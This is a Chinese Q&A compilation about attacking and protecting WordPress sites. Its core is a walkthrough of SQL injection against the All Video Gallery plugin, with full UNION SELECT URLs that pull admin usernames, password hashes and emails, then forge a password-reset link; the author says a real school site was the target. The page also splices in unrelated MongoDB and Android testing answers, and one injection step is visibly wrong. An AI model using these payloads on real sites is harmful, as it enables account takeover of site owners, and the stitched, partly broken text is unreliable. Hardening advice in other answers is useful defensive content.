⑴ 如何攻擊wordpress網站
直接在線hi我，如果是linux主機，設置文件許可權只能讀取，不能寫入，如果是windows主機，在空間控制面板可以設置讀寫許可權的，不會hi我
⑵ 如何利用SQL注入漏洞攻破一個WordPress網站
微軟skype的官方博客使用的是WordPress平台，Wordpress目前是世界上最流行的博客平台，市場佔有率高達70%，這次攻擊事件雖然牽涉到wordpress，但並不能說明wordpress平台很脆弱，事實上脆弱的是wordpress上多達百萬的各種第三方插件，這些插件的質量良莠不齊，如果你使用錯誤的插件，沒有及時更新到最新版本，那你的wordpress網站就會成為黑客的目標。
All Video Gallery就是這樣的一個典型例子。早在2012年6月份就有安全網站公布這個插件的1.1版有嚴重的安全漏洞，但我今天還是很輕松的使用谷歌搜到了仍然使用這個有漏洞的插件的網站。本文就是要以這個網站為靶子，給大家實戰講解黑客是如何利用sql注入技術攻破一個網站的。
⑶ 如何保證你的WordPress網站安全
網站難免會受到同行或者其他黑客的攻擊，要保證wordp的網站安全性:
1.賬號以及密碼的復雜程度要高，不要隨意泄露。網站後台，空間後台的賬號密碼難度高一點，不易被他人破解。
2.最重要的一點，就是要做好數據的備份！當我們網站被攻擊時，可以及時的做出還原處理。
⑷ 如何利用SQL注入漏洞攻破一個Wordpress網站
mongodb應該是不支持使用普通的sql語句查詢的吧？這個是必然。我覺得極沒必要，首先明確你的目的是什麼：不會寫mongodb查詢?(學習or別用)：undifined，其次，如果是做資料庫遷移，你要明確好關聯查詢是極大可能出問題的。第三，解決問題點不一樣，明確好mongodb能做什麼，他擅長大數據的快速讀寫，但對於強事務性處理不好，你要想用它做sql做的事，有些可能他無能為力！
⑸ 如何對WordPress站點進行安全測試
需要專業的工具和專業的人士來操作吧，個人沒有技術的話還是不太建議。
拿一個APP來做滲透測試來舉例，需要以下流程（網站滲透測試雖然沒有這么難，但是對於非專業人士也很困難啦~），
一、工具原料：
1、android APP包
2、安應用
二、APP和網站的滲透測試不太一樣，我給你介紹一個android的滲透測試步驟吧：
1、組件安全檢測。
對Activity安全、Broadcast Receiver安全、Service安全、Content Provider安全、Intent安全和WebView的規范使用檢測分析，發現因為程序中不規范使用導致的組件漏洞。
2、代碼安全檢測
對代碼混淆、Dex保護、SO保護、資源文件保護以及第三方載入庫的代碼的安全處理進行檢測分析，發現代碼被反編譯和破解的漏洞。
3、內存安全檢測。
檢測APP運行過程中的內存處理和保護機制進行檢測分析，發現是否存在被修改和破壞的漏洞風險。
4、數據安全檢測。
對數據輸入、數據存儲、存儲數據類別、數據訪問控制、敏感數據加密、內存數據安全、數據傳輸、證書驗證、遠程數據通信加密、數據傳輸完整性、本地數據通訊安全、會話安全、數據輸出、調試信息、敏感信息顯示等過程進行漏洞檢測，發現數據存儲和處理過程中被非法調用、傳輸和竊取漏洞。
5、業務安全檢測。
對用戶登錄，密碼管理，支付安全，身份認證，超時設置，異常處理等進行檢測分析，發現業務處理過程中的潛在漏洞。
6、應用管理檢測。
1）、下載安裝：檢測是否有安全的應用發布渠道供用戶下載。檢測各應用市場是否存在二次打包的惡意應用；
2）、應用卸載：檢測應用卸載是否清除完全，是否殘留數據；
3）、版本升級：檢測是否具備在線版本檢測、升級功能。檢測升級過程是否會被第三方劫持、欺騙等漏洞；
三、如果是涉及到服務流程的話，通用流程是這樣的：
1、確定意向。
1）、在線填寫表單：企業填寫測試需求；
2）、商務溝通：商務在收到表單後，會立即和意向客戶取得溝通，確定測試意向，簽訂合作合同；
2、啟動測試。
收集材料：一般包括系統帳號、穩定的測試環境、業務流程等。
3、執行測試。
1）、風險分析：熟悉系統、進行風險分析，設計測試風險點；
2）、漏洞挖掘：安全測試專家分組進行安全滲透測試，提交漏洞；
3）、報告匯總：匯總系統風險評估結果和漏洞，發送測試報告。
4、交付完成。
1）、漏洞修復：企業按照測試報告進行修復；
2）、回歸測試：雙方依據合同結算測試費用，企業支付費用。
⑹ 如何利用SQL注入漏洞攻破一個WordPress網站
WordPress的後台登陸地址是
，這個地址是可以公共訪問的，我們進入這個頁面後，點擊 Lost your password? 鏈接，輸入上面獲取的管理員郵件。
這樣做了之後，Wordpress會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址，但我們可以使用上面同樣的方法獲取這個激活碼，自己拼裝出密碼重置地址。存放激活碼的欄位是 user_activation_key ，我們的sql注入地址改成下面這樣：
在瀏覽器里輸入上面的地址，頁面上會顯示下面的信息：
有了激活碼，我們就可以拼裝出裝置密碼的地址了：
利用這個地址進入重置密碼頁面：
總結
我們的黑客行動到此基本上是大功告成，但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊，而是要提醒大家防範安全漏洞，所謂知己知彼，方能百戰不殆，程序員應當對基本的黑客攻擊方式有一些了解，針對性的在編程時避免造成類似sql注入的安全漏洞，構築更健壯的軟體。
⑺ 使用WordPress系統網站被暴力破解了，應該怎麼解決以及預防
WordPress優化一直以來是各位wordpress站長所關心的問題，wordpress本身已經有強大的安全防護措施，但是無聊人士之多，今天就跟大家談談如何保護你的wordpress網站。 什麼是暴力破解? 不是每一個WordPress站長或者Web開發人員都不錯。總有一些邪惡的人。 暴力破解是當一個人或一些機器上嘗試通過反復發送的登錄嘗試破解您的用戶名密碼組合。 他們會使用一些常見的和隨機的用戶名和密碼組合進行連續登錄嘗試到你的WordPress。 如何保護你的wordpress防止被暴力破解? 當然這是我們今天討論的主題，暴力破解是邪惡的，但是你可以很容易地通過採取下面這些簡單的預防措施保護您的WordPress的強力攻擊： 強大的用戶名： 您還是使用的是admin為你的WordPress的用戶名? 這是默認的用戶名也很容易被黑客猜出此用戶名。 請務必使用您的姓名或不同的東西作為你的WordPress的管理員用戶名。 強密碼： 就像強大的用戶名，你需要一個強大的密碼! 暴力破解者試圖猜測一些隨機密碼組合，字典中的單詞，並使用所有常用的密碼破解您的密碼。 使用password作為您的密碼是不是一個明智的舉動，因為暴力破解將馬上破解這個密碼。 強大的wordpress密碼應該使用隨機字母，數字和特殊字元。 不要使用類似123456或QWERTY字元串。 您也可以通過訪問howsecureismypassword.net 來檢查您的密碼強度。 限制登錄嘗試： 您也應該在你的WordPress網站限制登錄嘗試。 限制登錄嘗試的插件(Limit Login Attempts)會阻止管理員指定的限制登陸次數後的操作。 它不會讓暴力破解嘗試破解你的密碼。 通過IP限制進入wp-admin和wp-login： 如果你是一個人在管理你的WordPress，那麼只需要你自己能進入wordpress後台即可，你可以設定一個固定的IP地址段，通過.htaccess文件來限制進入wp-login和wp-admin。 你可以這樣寫： Order deny,allow Deny from all Allow from xx.xx.xx.0/24 #Another IP Allow from xx.xx.xx.xx 替換xx.xx.xx.xx 成你的IP地址. 要知道你的IP地址，你可以在網路中輸入IP即可查詢，也可以訪問ip138。 WordPress插件： 其實這方面的插件很多，今天主要是介紹這款插件Wordfence Security，後台搜索即可安裝，此款插件可以保護你的wordpress的安全，防止被暴力破解等攻擊。 所有這些步驟一定會保護你的WordPress網站從所有這些無用和邪惡的暴力破解攻擊，你認為這些方法怎麼樣?轉賬請註明：/save-wordpress-brute-force-attacks/ 謝謝合作
⑻ 如何利用SQL注入漏洞攻破一個WordPress網站
SQL注入的基本原理
sql注入成因主要是對頁面參數沒有進行非法字元校驗導致，比如說一個訂單頁面要顯示某個客戶的所有訂單列表，這個頁面的地址可能是http://xxx.com/list.php?customID=3，我們推理，這樣頁面的後台處理的sql應該是這樣的：
select * form custom_order where custom_id = {$_GET['customID']}
按正常情況下，這里的接收的參數{$_GET['customID']}的值應該是傳入的值3，這樣頁面就能正確的把所有客戶ID等於3的訂單信息顯示到頁面上。但是，如果這個參數被人惡意改成了如下形式：
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按這樣的參數拼裝成的sql就成了這樣：
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
這樣注入惡意sql後，訂單列表頁顯示的就不是訂單信息了，而是資料庫中用戶的名稱和密碼，或者任意其它想要的信息。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員用戶名，管理員郵箱地址，通過郵箱重置管理員密碼，登錄超級管理員後台。
All Video Gallery插件的漏洞簡介
安裝了All Video Gallery插件的Wordpress博客里會有這樣的一個地址：
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
訪問這個頁面會顯示一些配置信息，問題就出在pid這個參數上，程序後台顯然沒有嚴格檢查這個參數，我們將利用這個參數進行sql注入。
WordPress是一個開源的平台，我們很容易弄清楚用戶表的表名是wp_users，存放用戶名，密碼，郵件地址的欄位分別是user_login，user_pass,user_email，我們下面將要把用戶信息表注入進去。
獲取超級管理員用戶名
為了獲取用戶表中的用戶名，我們注入的sql是這樣的：
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址，頁面上會顯示下面的信息：
獲取超級管理員郵件地址
我們可以直接獲取用戶的密碼，但很顯然，密碼都是加密的，無法使用，我們這里使用另外一種思路，先獲取用戶的郵件地址，然後使用這個郵件重置用戶的密碼。
要獲取郵件地址，我們需要將上面的sql中的欄位名改成user_email:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址，頁面上會顯示下面的信息：
重置管理員密碼
WordPress的後台登陸地址是http://xxx.com/wp-login.php，這個地址是可以公共訪問的，我們進入這個頁面後，點擊Lost your password?鏈接，輸入上面獲取的管理員郵件。
這樣做了之後，Wordpress會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址，但我們可以使用上面同樣
的方法獲取這個激活碼，自己拼裝出密碼重置地址。存放激活碼的欄位是user_activation_key，我們的sql注入地址改成下面這樣：
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在瀏覽器里輸入上面的地址，頁面上會顯示下面的信息：
有了激活碼，我們就可以拼裝出裝置密碼的地址了：
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
利用這個地址進入重置密碼頁面：
總結
我們的黑客行動到此基本上是大功告成，但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊，而是要提醒大家防範安全漏洞，
所謂知己知彼，方能百戰不殆，程序員應當對基本的黑客攻擊方式有一些了解，針對性的在編程時避免造成類似sql注入的安全漏洞，構築更健壯的軟體。